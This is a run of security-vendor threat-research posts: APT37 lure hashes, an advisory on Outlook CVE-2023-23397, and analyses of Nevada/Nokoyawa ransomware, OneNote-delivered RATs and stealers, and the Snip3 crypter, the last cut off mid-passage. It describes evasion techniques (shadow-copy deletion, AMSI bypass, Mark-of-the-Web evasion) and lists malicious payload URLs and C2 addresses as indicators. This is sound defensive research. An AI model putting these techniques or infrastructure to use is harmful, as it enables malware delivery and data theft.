pay_202111_5_02-12972.chm c0d25429f924016765711cd860fd03f9 pay_202111_5_04-10220.chm 8a5e7f281b51c2b9e364c26e3f699019 pay_202111_5_04-14213.chm faf6139671f07db49056f4e0470ab188 pay_202111_5_12-11985.chm a372e8dfd1940ef4f9e74095a8bf3bd7 pay_202201_2_505824.chm 561b29a5650ff7fe6e63fa19c29ee240 pay_202201_5_02-10424.chm 093ad28a08314e8fe79c26828137ab0a pay_202201_5_80222982.chm d32ccdcf79932dd9d7eaf4fd75bfade2 pay_202202_5_06-10325.chm deed5eb8b19dae07720e97b485a5f1e4 pay_202203_5_06-10325.chm 886702585a3951882801b9eecb76c604 pay_202205_5_01-10104.chm 6ac4b333e6d7f64aee5c32e20d624f2e pay_202209_5_01-502479.chm 441adf67527915c09cfe29727b111a6a samsungfire.chm 122208301a3727c5fc7794ff0f7947bf security-guide.chm 79e158af8ded991ee95a0f10654576ce securityMail.chm e7104d3e388530a43623981138112e03 security_20220813.chm af89179ef2c8365ca413fed8553159fa shinhancard_20220218.chm b7b1095620b8629c73191d5c05afc446 z email content.chm 681a21cb83e82da88f42f9fb0dd764b6 다문화 문제 답-추가.chm 5f2dcb1e51c8d574f43c8f7c7f84d9fa 취임식 관련 자료.chm 72a38aa3e128d2ffca141a41a4101dca 황선국-차예실의 요르단 이야기-34.chm 632104e97870c1177c211f5e2d963b75 요약문.chm ffba3072600a1f06d260137f82371227 공지사항.chm e557693cc879beeb1a455cac02724ea7 보안메일.chm 71389f565a5ebe573c94d688fa6f23ea 통일교육11.chm 920ccffa488d2b0e9aa19acc5f31fc3a 제로깅크루_명단.chm 7c53f15614d5f9cf2791cb31811893a7 폴리프라자Ⅲ, 4월 근무 현황.chm fb60a976bbed174effa6081a35abee87 사업유치제의서-목차.chm bca3f0b4a5a1cbcd3efa1ca0df7f0d4b 통일미래최고위과정_입학지원서.chm LNK files MD5 hash Filename eb7a6e3dc8bbc26f208c511ec7ee1d4c LG유플러스_이동통신_202208_이_선.html.lnk c5f954436e9623204ed961b9b33e769d 계약사항 안내문_1.pdf.lnk Appendix # Please note that most of the HWP files mentioned below are clean decoy files used by the threat actor. The original filenames are included to give the reader insights into the themes used. MD5 hash Filename 808fda00b7aa114182ba0ad9668ad4fb (227183-F)_사업진행상태보고서.hwp 6566697d2b2b7b562f3e4f74986ae341 1.일반설계기준.hwp 70b327e1a2cf7863004436080848eddc 2020_normal_ko.hwp b8addd3c9e0c7f1ed8d4aafcb582e755 2021년 ICT융합 스마트공장 구축 및 고도화 사업 최종감리보고서(엠플러스에프엔씨, 인버스, 정찬혁)_초안.hwp 07ad22218f9dc7da63b880ae5a65a177 2022년 외국인 주민교류를 통한 기술인으로 진로 직업지도사업.hwp de5319b8a5674994e66b8668b1d9884f 220915 수정.hwp a4706737645582e1b5f71a462dd01140 3. 개인정보보완서약서_북주협.hwp d49ef08710c9397d6f6326c8dcbf5f4e 3사복지업무홍보.hwp 96900e1e6090a015a893b7718d6295dd K-MOOC 수기 공모 이벤트.hwp b35c3658a5ec3bd0e0b7e5c6c5bc936f RFQ_소각 및 발전설비 건설공사-보고-0614-Ver1.hwp 0ccb1c52b3de22b49756a2608cddd2e9 UN 대북제재위원회 전문가 패널 보고서.hwp d891219a50b17724228f9ae8c7494bbf UN 대북제재위원회 전문가 패널 보고서」요약.hwp cac2d25c8e173c896eff0dd85f09c898 [붙임] 제20대 대통령선거 제1차 정책토론회 시청 안내문-복사.hwp ad922c7f0977c4aefcbc2c089cce8b66 제39기 모집요강 및 입학지원서-재송.hwp 48153ac26eb10473b60e4011f5e004e9 제8회 전국동시지방선거 제1차 정책토론회 시청 안내.hwp 0de54a8109f54c99d375fc0595649175 논문 자료.hwp 0de54a8109f54c99d375fc0595649175 사업 제안.hwp bf478b6b500c53e05741e3955630182f 오피스 365 + 설치설명서 입니다.hwp 7b29312a0f8d9a7d2354843f7c9c21ea 텅스텐 W 99.hwp 6b8acab4941dcfb1dbe04bc9477e7605 다문화 문제 답(12. 5 업데이트).hwp 8591125c0a95f8c1b1e179901f685fa3 인터뷰(22. 9. 14).hwp f1bd01dc27fe813aeade46fe55bd9e2e 황선국-차예실의 요르단 이야기-34.hwp ff072f99ea6d04c0a4ff0ab9d23440fc 접수증-삼주글로벌 법인세 신고서 접수증.hwp 35f9802b98105fa72ec34d2b02649655 공고문.hwp 5228e631cdd94ec8d8c9d68e044236f1 위임장.hwp 5bdd6ad0c17ee2a1057bf16acb86f371 확인서.hwp c09bedb49199b09bcb362ba5dadcd22a 함께가는 평화의 봄_과업지시.hwp a2aeb5298413c2be9338084060db3428 동남아와 국제정치(기말레포트).hwp f8f994843851aba50ca35842b4cca8a3 행사안내.hwp 6deceb3e2adff0481b30efe27e06542e 백산연구원 소방서 제출용.hwp 0fd7e73e6672adaa1e5cf2dfca82e42e 서식1, 4 강사이력서 및 개인정보동의서_북주협.hwp e5afbbfa62efd599a1ab2dade7461d62 폴리프라자Ⅲ, 4월 근무 현황.hwp 2e57c30259e5c33779940ce9a9f91378 산업가스용도.hwp c775aef36bc4b1b9a2b14fae46521c0e 서영석고객님.hwp aa84bdaf877d70c744ce1982395ad37c 자문결과보고서(양식).hwp 19dabc553ee3c3bcd166411365e2dd56 비대면_서비스_보안_취약점_점검_신청서.hwp 6bf6de967ca6324106a0700715a9e02b 중고맨거래명세서.hwp 0bcda05d3f4054dd5fb571a634afe10a 정기총회안내공문_2022.hwp 68603ba44b58f4586deeb571cf103e0c 통일미래최고위과정_입학지원서_양식.hwp 670f8697d7c46757745be0322dfdd2ab 노원도시농업네트워크.hwp c47428fe38bec9424b75aa357113d9dc 사단법인 공문 (2022.12호)_2022년도 평화통일교육사업 함께가는 평화의 봄.hwp Tue, 21 Mar 2023 08:30:01 -0700 Sudeep Singh https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37 https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability Background: On 14th March 2023, Microsoft released a security update guide for a critical severity vulnerability CVE-2023-23397. This vulnerability targets Microsoft Outlook and allows NTLM credentials theft which could be used for privilege escalation attacks. What is the issue? An attacker can send an email to the victim with an extended MAPI (Microsoft Outlook Messaging API) property with a UNC (Universal Naming Convention - A string format that specifies the location of a resource) path to an attacker-controlled SMB (TCP 445) share. Once Outlook receives this message it initiates a NTLM authentication with this SMB share server. There is no user interaction required to trigger this vulnerability. The attacker can then use this connection's NTLM negotiation message and relay this authentication against other systems that support NTLM authentication. According to Microsoft “An attacker who successfully exploited this vulnerability could access a user's Net-NTLMv2 hash which could be used as a basis of an NTLM Relay attack against another service to authenticate as the user” What systems are impacted? This impacts all versions of Microsoft Outlook for Windows. As per the Microsoft blog other versions of Microsoft Outlook such as Android, iOS, Mac, as well as Outlook on the web and other M365 services are not affected Microsoft Outlook 2016 (64-bit edition) Microsoft Outlook 2013 Service Pack 1 (32-bit editions) Microsoft Outlook 2013 RT Service Pack 1 Microsoft Outlook 2013 Service Pack 1 (64-bit editions) Microsoft Office 2019 for 32-bit editions Microsoft 365 Apps for Enterprise for 32-bit Systems Microsoft Office 2019 for 64-bit editions Microsoft 365 Apps for Enterprise for 64-bit Systems Microsoft Office LTSC 2021 for 64-bit editions Microsoft Outlook 2016 (32-bit edition) Microsoft Office LTSC 2021 for 32-bit editions Microsoft has also provided impact assessment scripts at https://aka.ms/CVE-2023-23397ScriptDoc and detailed the steps to run the script to evaluate the impact. What can you do to protect yourself? Install the Microsoft Outlook Security update to mitigate the issue. Block all outbound TCP445/SMB connections from going outside your network. The Microsoft security guide for this CVE also suggests adding users to Protected Users Security Group which prevents the use of NTLM authentication mechanism. This mitigation could be applied till the security updates are applied since this can impact applications that use NTLM authentication for their regular operation. This can be used to protect high value domain admin accounts. Once the security updates are applied the users can be moved out of the protected users security group allowing them to use NTLM authentication again. Zscaler coverage Advanced Threat Protection HTML.Exploit.CVE-2023-23397 We have added coverage for known exploit attempts and are working to add a more generic detection for this vulnerability. Details related to the threat signatures released by Zscaler can be found in the Zscaler Threat Library. Fri, 17 Mar 2023 17:23:16 -0700 Rohit Hegde https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokoyawa-variant Key Points Nevada ransomware was advertised in criminal forums in December 2022 as part of a new ransomware-as-a-service affiliate program Nevada is written in the Rust programming language with support for Linux and 64-bit versions of Windows Zscaler ThreatLabz has identified significant code similarities between Nevada and Nokoyawa ransomware including debug strings, command-line arguments and encryption algorithms The Nokoyawa ransomware codebase has been continuously modified with at least four distinct variants (including Nevada) that have emerged since February 2022 The Nokoyawa threat group appears to operate two parallel code branches written in different programming languages designed to confuse researchers and evade detection Zscaler ThreatLabz has been tracking the Nokoyawa ransomware family and its predecessors including Karma and Nemty ransomware. The original version of Nokoyawa ransomware was introduced in February 2022 and written in the C programming language. File encryption utilized asymmetric Elliptic Curve Cryptography (ECC) with Curve SECT233R1 (a.k.a. NIST B-233) using the Tiny-ECDH open source library combined with a per file Salsa20 symmetric key. In September 2022, a Rust-based version of Nokoyawa ransomware was released. This new version used Salsa20 for symmetric encryption, but the ECC algorithm was replaced with Curve25519. In December 2022, Nevada ransomware was advertised in criminal forums. ThreatLabz has determined that Nevada shares significant code with the Rust-based variant of Nokoyawa. In January 2023, ThreatLabz also identified another version of Nokoyawa written in C that is similar to the original version, but uses the same configuration options (passed via the command-line) as the Rust-based Nokoyawa 2.0. In this blog, we analyze Nevada ransomware and how it compares to the other versions of Nokoyawa ransomware. Based on the numerous similarities, the Nokoyawa threat group appears to utilize two separate branches for ransomware attacks. Technical Analysis ThreatLabz has identified at least four distinct versions of Nokoyawa ransomware. For clarity, we will use the version numbers 1.0, 1.1, 2.0 and 2.1 (Nevada) based on code similarities. Table 1 illustrates the similarities and differences between all four versions of Nokoyawa ransomware including Nevada. Attribute Nokoyawa 1.0 Nokoyawa 1.1 Nokoyawa 2.0 Nokoyawa 2.1 (Nevada) Encryption algorithms SECT233R1 + Salsa20 SECT233R1 + Salsa20 X25519 + Salsa20 X25519 + Salsa20 Encryption library Tiny-ECDH Tiny-ECDH x25519_dalek x25519_dalek Programming language C/C++ C/C++ Rust Rust Encryption Parameters Hardcoded Passed via command-line Passed via command-line Hardcoded Import Hashing No Yes No No CIS Exclusion No No Yes Yes Architecture x64 x64 x64 x64 Earliest known compilation date February 2022 January 2023 September 2022 January 2023 Table 1. Comparison between different versions of Nokoyawa ransomware There are a few commonalities between all Nokoyawa variants such as being compiled only for 64-bit versions of Windows and using a relatively obscure method to delete Windows Shadow Copies. The latter entails calling the function DeviceIoControl (shown in Figure 1) with the undocumented control code parameter IOCTL_VOLSNAP_SET_MAX_DIFF_AREA_SIZE (0x53C028) with a maximum size of 1, which causes Windows to delete all shadow copies as a result. Figure 1. Nokoyawa/Nevada code to delete Windows Shadow Copies All versions of Nokoyawa support the command-line parameters --file (to encrypt a single file) and --dir (to encrypt a directory). However, Nokoyawa 1.1 and 2.0 require a configuration to execute the ransomware via the --config command-line parameter. The configuration parameter is a Base64 encoded JSON object that has the following keys and values shown in Table 2. Key Description NOTE_NAME Ransom note filename NOTE_CONTENT Ransom note content EXTENSION Encrypted file extension (also used as the Salsa20 nonce) ECC_PUBLIC Curve25519 public key SKIP_EXTS File extensions that will not be encrypted SKIP_DIRS Directories that will not be encrypted ENCRYPT_NETWORK Encrypt network shares DELETE_SHADOW Delete Windows shadow copies LOAD_HIDDEN_DRIVES Unhide hidden drives and encrypt files Table 2. Nokoyawa 1.1 and Nokoyawa 2.0 ransomware configuration parameters Nokoyawa 1.1 also has a --safe-mode command-line option to reboot the system into Windows safe mode prior to file encryption to maximize the number of files that can be encrypted by loading the minimal set of applications, and therefore, minimize the number of open file handles that may interfere with encryption. In addition, Nokoyawa 1.1 is the only variant that obfuscates the Windows API functions that are called during runtime by resolving each name via CRC32 hash. In Nevada ransomware, the encryption parameters are hardcoded in the binary, but the other command-line options are virtually identical to Nokoyawa 1.1 and 2.0 (with the exception of a new feature to self-delete the ransomware binary after file encryption is complete). Nevada also supports a -help command-line argument, which prints the usage shown below in Figure 2. Figure 2. Nevada ransomware command-line help In order to reduce the risk of law enforcement actions, Both Nokoyawa 2.0 and Nevada check whether the infected system is located in a former Commonwealth of Independent States (CIS) country. The former calls the Windows API GetSystemDefaultLCID for language IDs (between 1049-1092 or 2073) and the latter calls GetUserDefaultUILanguage (between 1049-1090) to determine the system's locale and language, respectively. Some of these language IDs include countries outside of the CIS countries, which may be to simplify the code by adding a range of values rather than individually checking each value. Nokoyawa 1.0 and Nokoyawa 1.1 share about 39% of the same code, while Nokoyawa 2.0 and Nevada share more than 87% of the same code according to BinDiff. Debug Print Statements Another similarity between Nokoyawa 2.0 and Nevada are debug print statements, which are very similar or identical. Figure 3 shows an example for a function that creates a thread and prints a debug statement to the console. Figure 3. Comparison of CreateThread function and debug print statements in Nokoyawa 2.0 (left) and Nevada (right) Many strings have also been slightly altered between Nokoyawa 2.0 and Nevada as shown in Table 3. Nokoyawa 2.0 Nokoyawa 2.1 (Nevada) CIS lang detected! Stop working... CIS. STOP! Successfully deleted shadow copies from Shadow copies deleted from Couldn't create ransom note Failed to create ransom note Couldn't seek file: Failed to seek file: Couldn't read file: Failed to read file: Couldn't write to file: Failed to write file: Couldn't rename file Failed to rename file Table 3. Comparison between debug print strings in Nokoyawa 2.0 (left) and Nevada (right) Encryption Algorithms Nokoyawa 1.0 and 1.1 use the elliptic curve SECT233R1 (NIST B-233) via the Tiny-ECDH library to generate a per file Salsa20 key. Nokoyawa 2.0 and Nevada use Curve25519 via the open source x25519_dalek Rust library to derive a Salsa20 encryption key per file. In Nokoyawa 1.1 and 2.0, the file extension (as described in Table 2) is used as the nonce. The original version of Nokoyawa and Nevada ransomware use the hardcoded nonce values lvcelvce and pmarpmar, respectively. Conclusion Zscaler ThreatLabz has identified two parallel versions of Nokoyawa ransomware with implementations in C and Rust. These two branches may be indicative of a source code leak, or designed to evade host-based security software and divert attention. In conclusion, Nevada ransomware appears to be the latest variant of the Rust-based version of Nokoyawa rather than an entirely new ransomware family. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Nokoyawa at various levels with the following threat names: Win64.Ransom.NOKOYAWA Indicators of Compromise SHA256 Description a32b7e40fc353fd2f13307d8bfe1c7c634c8c897b80e72a9872baa9a1da08c46 Nokoyawa ransomware 1.0 3339ba53e1f05f91dbe907d187489dbaba6c801f7af6fd06521f3ba8c484ec6c Nokoyawa ransomware 1.1 7095beafff5837070a89407c1bf3c6acf8221ed786e0697f6c578d4c3de0efd6 Nokoyawa ransomware 2.0 855f411bd0667b650c4f2fd3c9fbb4fa9209cf40b0d655fa9304dcdd956e0808 Nokoyawa ransomware 2.1 (Nevada) Mon, 06 Mar 2023 10:07:50 -0800 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokoyawa-variant https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution Attackers are increasingly using OneNote documents to distribute malware, due to the heightened security measures against macro-based attacks and the widespread adoption and popularity of the platform. Analyzing several related case studies, this article showcases the obfuscation techniques used by threat actors to bypass threat detection measures and deceive users into executing malware on their systems via OneNote. Key Takeaways: Threat actors are increasingly using Microsoft OneNote documents to deliver malware via phishing emails. OneNote is installed by default in all Microsoft Office/365 installations, even if a Windows user does not use the application, it is still available to open the file format because it is easy to deceive a user to run a malicious OneNote Document. Previously Threat actors target users with malicious macro enabled documents but, in July 2022, Microsoft disabled Macros by default on all Office applications, making this approach unreliable for distributing malware. The advantage of OneNote documents is that they can embed similar malicious code as macro/VBA office documents with less detection. Also MSHTA, WSCRIPT, and CSCRIPT can be executed from within OneNote and attackers can use multi-layer obfuscation with this script to bypass threat detection. OneNote Document can run the following types of scripts CHM, HTA, JS, WSF, and VBS. ThreatLabz detected various types of malware distributed through OneNote documents including Bankers, Stealers and RAT (Remote-Access-Trojan). Why OneNote? Attackers have shifted from using traditional macro-based attacks to using Microsoft OneNote as a delivery mechanism for malware. OneNote has become an increasingly attractive vector for attackers due to its popularity, wider reach, lack of awareness and security measures, and ability to integrate with other Microsoft products. Attackers use OneNote to deliver malicious payloads by obfuscating the content and exploiting the trusted application status of OneNote. Specific reasons for this shift include: Increased Security Measures: Due to the growing awareness of macro-based attacks, many organizations have been implementing security measures to prevent such attacks. As a result, it has become more challenging for attackers to deliver malware through these attacks. Furthermore, in July 2022, Microsoft disabled Macros by default on all Office applications, rendering this approach unreliable for malware distribution. OneNote's Popularity and Wider Reach: OneNote's popularity as a widely used note-taking application and its ability to embed different types of content make it a useful tool for attackers to distribute malware. It is pre-installed in all Microsoft Office/365 installations, meaning that even if a Windows user does not use the application, the file format is still available for malicious OneNote documents to deceive a user into running them. Lack of Awareness and Security Measures: Exploits in Microsoft OneNote are not as well-known as macro-based attacks, which often leads to organizations not having sufficient security measures to prevent these types of attacks. Evasion Techniques: Although the "Mark of the Web" is a Windows security feature that protects users from potentially harmful content downloaded from the internet, OneNote does not propagate this feature on its attachments. This allows attackers to embed unsigned executables or macro-enabled documents without triggering Microsoft's recent security restrictions. Trusted Application and Microsoft Integrations: Due to OneNote being a trusted application, users may be more inclined to interact with files from this application compared to other types of attachments or links. Additionally, OneNote can be integrated with other Microsoft products such as Office and OneDrive, which makes it easier for attackers to spread malware through these products as well. To detect and mitigate these attacks, organizations must implement security measures to detect malicious content and malicious payloads, as well as leverage tools like OneNoteAnalyzer, a valuable resource developed by ThreatLabz Researcher Niraj to streamline and expedite the process of analyzing suspicious artifacts in OneNote Documents. Fig.1 - Open source OneNoteAnalyzer tool developed by a ThreatLabz researcher Case Study-1: RAT Starting in December 2022, attackers have been using OneNote files to distribute Remote Access Trojans (RAT) such as AsyncRAT, Quasar RAT, NetWire, and Xworm. These RATs use complex obfuscation techniques with OneNote files in order to evade detection by security software. During the course of the investigation, researchers found the file containing the malicious payload disguised under the misleading name "PaymentAdv.one". Fig.2 - OneNote phishing document After analyzing the file with OneNoteAnalyzer, researchers uncovered that the attack was carried out by dropping and executing a batch file called "zoo1.bat". Fig.3 - Malicious files extracted from OneNote document The batch file was obfuscated and contained an encrypted blob at the start, followed by heavily obfuscated PowerShell code. Fig.4 - Obfuscated batch file By removing the "@echo off" line and adding "echo" to the start of each line in the batch file, researchers were able to decode the file's activities and log the output as shown in the screenshot below. Fig.5 - Commands executed by “zoo1.bat.exe” The log indicated that the batch file had copied and disguised the malicious program as "zoo1.bat.exe" in an attempt to hide its activities. The Powershell code associated with it was obfuscated and difficult to comprehend, so researchers manually pretty print to deobfuscate and reformat the file, making it more readable as demonstrated in the screenshot below. Fig.6 - Obfuscated Powershell code in readable format After deobfuscation, researchers discovered that the script used base64 encoding to split the encrypted blob seen in the initial batch file into its actual data, AES key, and index using the backslash character. With these values, the script was able to decrypt the data and decode it using gzip encoding to reveal the final executable. Fig.7 - AES Key and IV identified in the blob Now lets the cook the above recipe using Cyberchef and check what does it results: Fig.8 - Decrypted payload extracted using CyberChef Similarly we can decode the second blob which will also result in a Portable Executable (PE) file. Fig.9 - AgileDotNet Packed AsyncRAT Payload The resulting file is a .NET File packed with AgileDotNet, which was revealed to contain a malicious AsyncRAT payload after deobfuscating and unpacking with the .NET Kali Linux tool known as de4dot. Case Study-2: Banker Starting in January 2023, Qakbot began experimenting with OneNote files as a vector to deliver malware. Researchers subsequently observed IcedID doing the same, using OneNote files with embedded HTML applications (HTA files with .hta extension). The following figure illustrates how IceID's OneNote Malspam (malware spam) is distributed and executed. Fig.10 - IcedID Attack Chain & execution flow. The phishing email from the attacker includes an attachment named "unpaid_4178-February-03.one", which is a OneNote file containing a fake Microsoft 365 page. The page appears to contain a cloud attachment and deceives the user into double-clicking to view it, thereby initiating the IcedID infection process. Fig.11- Fake MS 365 page. When the user clicks on the "View" button within the OneNote attachment, an .hta file is silently dropped into the Temp directory of the compromised system without any type of notification. This action triggers the download of both the IcedID malware payload and a decoy PDF file called "invoice.pdf" that displays phony invoice information. Fig.12 - Execution of HTA file. Fig. 13 - Process tree of OneNote execution. Upon further observation, it was noted that the IcedID malware infection was followed by the download and execution of a Powershell script, which in turn downloaded the Cobalt Strike DLL beacon. This behavior is similar to previous variants of IcedID and Qakbot, where they infect the system with Cobalt Strike approximately 45 minutes after the initial infection. Fig.14 - Powershell script to download CobaltStrike. Continued analysis of the increasing number of OneNote samples has uncovered an intriguing method employed by Qakbot to download and execute its payload. When the user clicks the "Open" button in the OneNote file, the HTA file is dropped into the Temp directory of the infected system. The HTA file utilizes JavaScript to deobfuscate the obfuscated data from the <div> element. Following this, VBScript creates a registry key and stores the deobfuscated data in it. A separate JavaScript code creates a WshShell object and executes Curl to download the Qakbot payload. Fig.15 - Qakbot OneNote obfuscation. It has also been observed that the latest OneNote Qakbot samples have altered their execution flow. Instead of using HTA files, they are now dropping CMD files to download and execute the final payload. Onenote -> cmd -> powershell -> rundll32 (final Qakbot payload). Fig.16. - New Qakbot OneNote execution. Case Study-3: Stealer Numerous RATs and banking malware have been observed spreading through OneNote since the malware campaign began, with Qakbot malware being the most prevalent. However, only Redline has been identified as distributing through OneNote files in the stealer category. Recently, a suspicious OneNote sample was discovered due to its network activity. Fig.17 - Phishing document malicious content After using the onedump.py tool by Didier Stevens to analyze the sample, multiple data blobs were discovered. Stream 2, 3, and 5 contained HTML files with hidden code. After dumping the files, it was discovered that two of them used URL encoding for obfuscation. CyberChef was used to decode the scripts, which were revealed to be VBScript files that download payloads from malicious URLs and execute them using the Start-Process command. Fig.18 - Decoded text from encoded HTA files. The third file underwent multiple layers of obfuscation before revealing the final binary. It was first encoded with URL encoding and then subjected to several layers of base64 encoding. Additionally, it used the gzip library to decode the final code. The output of the decoded code was a PowerShell file path, presumably for use in later stages of execution. Fig.19 - Decoded Script After investigating the downloaded payloads from the scripts, we discovered one payload located at https://oiartzunirratia[.]eus/install/clean/Lcovlccdxd.exe. This file was found to be a .NET file encrypted with a pureCrypter. Through analyzing its configuration, we identified this payload as Redline. The configuration of the final payload includes the following details: { "C2 url": [ "194.26.192.248:7053" ], "Bot Id": "cheat" } During the analysis of this sample, it was discovered that it is distributed through the Telegram group "NET_PA1N Reborn," which operates as a Malware-as-a-Service (MaaS) provider. The group sells their own Crypter and Stealer named "Youhacker Crypter" and "Youhacker Stealer" as well as popular Remote-Access-Trojans (RATs) and Stealers. Fig.20 - Telegram group mentioned in OneNote. Fig.21 - YouHacker stealer and crypter. Conclusion In recent months, a OneNote malware campaign has been observed spreading RATs, Bankers, and Stealer category malware. One of the most frequently seen malware in this campaign is Qakbot. However, Redline has also been observed distributing through OneNote files. Threat actors are continuously experimenting with initial attack vectors to evade detection and deceive users into executing malware. They have adapted this new technique using OneNote to distribute their malware, as many antivirus engines have not caught up with inspecting and detecting malicious OneNote files attached to email. Zscaler's ThreatLabz team is continuously monitoring the campaign and sharing new findings. During their investigations, Zscaler has discovered various samples of OneNote malware with different payloads, encoding, and obfuscation techniques. They have analyzed the behavior of these samples and identified their MITRE ATT&CK techniques. Some of the samples have been distributed through a Telegram group named "NET_PA1N Reborn," where they are working as a Malware-as-a-Service (Maas) and selling their own crypter and stealer along with RATs and other Stealers. Zscaler Sandbox Coverage The behavior of various files was analyzed by Zscaler Sandbox, displaying threat scores and the number of MITRE ATT&CK techniques triggered, as shown in the screenshots below. Fig.22 - Zscaler Sandbox report for AsyncRAT. Fig.23 - Zscaler Sandbox report for IcedID. Fig.24 - Zscaler Sandbox report for CobaltStrike. Fig.25 - Zscaler Sandbox report for Redline Zscaler’s multilayered cloud security platform detects payloads with following threat names: Win32.Backdoor.AsyncRAT Win64.Banker.Icedid Win64.Backdoor.CobaltStrike Win32.Banker.Qakbot Win32.PWS.Redline MITRE ATT&CK Techniques: Tactic Technique ID Technique Name Initial Access T1566 Phishing Execution T1204 T1059 T1047 User Execution Command and Scripting Interpreter Windows Management Instrumentation Defense Evasion T1027 T1070.004 T1112 T1218.011 T1218.005 Obfuscated Files or Information File Deletion Modify Registry System Binary Proxy Execution: Rundll32 System Binary Proxy Execution: Mshta Command and Control T1071 T1095 Application Layer Protocol Non-Application Layer Protocol Indicators of Compromise (IOCs): Case Study-1: [+] MD5: e9f0dbbd19ef972dd2fc163a4b34eae1 = AsyncRAT OneNote File 19905a73840430e28c484b97546225c6 = Dropped Batch File 146f4f1c9b29e7505f275772378bfec9 = AsyncRAT payload1 1d9aa7c9aa3f8dc9dd58a38176ea36fe = AsyncRAT payload2 Case Study-2: [+] MD5: 5139af509129641b1d29edd19c436b54 = IcedID OneNote File 6b1e64957316e65198e3a1f747402bd6 = IcedID DLL Payload 6b500ad29c39f72cd77c150a47df64ea = CobaltStrike DLL Payload 4c6a40f40dcd0af8d5c41d0fcc8e4521 = Qakbot OneNote File (hta dropped) 3c7c265f618912d81856bf460bf19f61 = Qakbot OneNote File (cmd dropped) fa49fd13fc49ab38b97d2d019cc04b39 = CMD file to download Qakbot [+] Network Indicators: http://helthbrotthersg[.]com/view.png = IcedID Payload from OneNote File https://transfer[.]sh/get/vpiHmi/invoice.pdf = Decoy PDF http://ehonlionetodo[.]com = IcedID C2 http://167[.]172[.]154[.]189/36.ps1 = Powershell for CobaltStrike http://167[.]172[.]154[.]189/360702.dll = Cobalt Strike Payload https://thefirstupd[.]com = Cobalt Strike C2 https://myvigyan[.]com/m1YPt/300123.gif = Qakbot Payload (hta dropped) https://starcomputadoras[.]com/lt2eLM6/01.gif = Qakbot (cmd dropped) Case Study-3: [+] MD5: 973e87ec99502aac9a12f987748a812a = Redline OneNote File 39f3c510f46d605202844e35c07db84b = Dropped Hta File 1 558da264c83bfe58c1fc56171c90c093 = Dropped Hta File 1 C6ba1a7b2b90e18b6c25382453370169 = Dropped Hta File 1 d3713110654dc546bd5edc306a6e7efd = Redline payload [+] Network Indicators: https://somosnutrisalud[.]cl/installs/clean/payroll.exe = Payload1 https://wi-protect[.]com/install/Eulsm.exe = Payload2 https://oiartzunirratia[.]eus/install/clean/Lcovlccdxd.exe = Redline Payload 194[.]26[.]192[.]248:7053 =Redline C2 Url Wed, 01 Mar 2023 08:00:05 -0800 Meghraj Nandanwar https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution https://www.zscaler.com/blogs/security-research/snip3-crypter-reveals-new-ttps-over-time Zscaler ThreatLabz researchers observed multiple threat campaigns utilizing the Snip3 crypter, a multi-stage remote access trojan (RAT) loader with new TTPs and available since 2021 as a crypter-as-a-service offering. The Snip3 Crypter service uses advanced evasion, obfuscation, and reflective code loading techniques in its multi-stage infection chain, along with new Tactics, Techniques, and Procedures (TTPs). As a crypter-as-a-service model, even less technically skilled threat actors can obtain and utilize this service in their attack campaigns against organizations. Due to the widespread use of the Snip3 Crypter, its developers provide frequent updates to enhance the crypter with new sophisticated techniques that can evade detection and effectively deploy the final Remote Access Trojan (RAT) payload on the targeted machines. ThreatLabz has recently identified use of the crypter with new TTPs deploying RAT families including DcRAT and QuasarRAT targeting victims across multiple industry verticals such as healthcare, energy and utilities, and manufacturing via spear phishing emails with subject lines related to “tax statements” in order to lure victims into execution. Below are the takeaways from the team’s in-depth analysis of the Snip3 Crypter campaign and the corresponding infection chain, which showcases the observed changes in the TTPs. Key Takeaways Threat actors utilize spear phishing emails with subjects related to "tax statements" as a bait to lure the victims into execution of the multi-staged infection chain. The top 3 targeted industries are: Healthcare Energy, oil, and gas Manufacturing Snip3 Crypter operates with new TTPs to deliver remote access trojans like DcRAT and QuasarRAT to targets. The following are the new techniques used in the Snip3 Crypter Infection chain: Malicious strings are fetched from database servers via ADODB connections AMSI bypass is performed by forcing an error In-memory stages are decrypted using hardcoded keys with custom decryption routines The final Snip3 RAT loader is downloaded from the server along with the corresponding user-agent containing system information Commands are received from the download server to decide the flow of execution for delivering the final RAT payload Infrastructure is shifted periodically to evade malicious domain-based detections URLs are shortened using TinyURL to download the Stage-2 and Stage-3 PS script User-agent changes are used to download the final stage and addition of version variable ($VER = 'v0.2') in the Stage-3 PS Script New Threat Campaign Analysis ThreatLabz has observed multiple Snip3 campaigns in the Zscaler Cloud targeting a variety of industry verticals. Healthcare emerged as the most targeted sector as shown in the graph below. Other targeted sectors include energy, manufacturing, materials, finance, retail, and technology. Organizations across these sectors should remain vigilant and deploy advanced security measures to protect against Snip3 Crypter and other such threats. Fig 1. Industry verticals targeted by the latest Snip3 crypter campaign(s) Here, the initial VBS payloads with the file-name “Releve Fiscal” (tax relief) were downloaded as an attachment via a phishing email with a subject line related to “tax statements” across 2022. Fig 2. The many observed Snip3 crypter campaigns and their dates The Infection Chain Fig 3. The Attack Chain The ongoing Snip3 campaign constitutes a complex and multifaceted attack, which uses a series of sophisticated evasion techniques and multiple obfuscated scripts. The latest version of the Snip3 crypter is utilized to implement new tactics, techniques, and procedures (TTPs), leading to the successful execution of the final payload and subsequent system infection. The attack is initiated through a spear phishing email that has the subject line "Download your tax statement" or, in French, "Télécharger votre relevé fiscal." The emails are designed to create a sense of urgency and importance, thereby enticing users to open the attached files without much consideration. This marks the start of the infection chain. Fig.4 Spear phishing email with tax statement bait and corresponding attachments The screenshot above shows that the email contains several attachments, including a corrupted PDF file named "Info.pdf" and a corrupted CSV file named "ID102332541.csv." These decoy files are included alongside the malicious script called "Votre Releve Fiscal-6.vbs" in order to deceive the user into running it. Stage-1: VBScript When the Stage-1 VBScript is executed, it establishes a connection to a database by creating an ADODB connection and record object. The details of the provider, including the data source, user ID, and password, are decrypted using an encoding method that utilizes the Chr and CLng functions, as illustrated in the screenshot below. Fig.5 Stage-1 VBScript decoding the provider details using Chr and CLng functions 